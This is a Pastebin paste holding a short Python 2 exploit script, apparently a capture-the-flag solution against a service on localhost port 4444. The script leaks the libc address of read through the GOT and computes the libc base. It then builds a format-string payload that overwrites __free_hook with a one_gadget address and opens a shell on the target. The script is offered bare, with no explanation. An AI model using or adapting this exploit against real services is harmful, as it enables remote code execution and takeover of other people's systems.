Advertisement
Guest User

Untitled

a guest
Mar 29th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. from m1z0r3 import *
  2. from libformatstr import FormatStr
  3.  
  4. HOST = "localhost"
  5. PORT = 4444
  6.  
  7. read_got = 0x8049fc4
  8.  
  9. # local
  10. offset_read = 0xda8d0
  11. offset_free_hook = 0x001aa8b8
  12. offset_one_gadget = 0x3e6a3
  13.  
  14. s,f = sock(HOST,PORT)
  15.  
  16. read_until(f)
  17. s.send(str(read_got)+"\n")
  18. read_addr = int(read_until(f),16)
  19. base_libc = read_addr - offset_read
  20.  
  21. addr_free_hook = base_libc + offset_free_hook
  22. addr_one_gadget = base_libc + offset_one_gadget
  23.  
  24. print "[+] libc base %x" % base_libc
  25.  
  26. p = FormatStr()
  27. p[addr_free_hook] = addr_one_gadget
  28.  
  29. buf = p.payload(7)
  30. buf += "%100000c"
  31.  
  32. read_until(f) # Good Bye.
  33. s.send(buf+"\n")
  34. shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement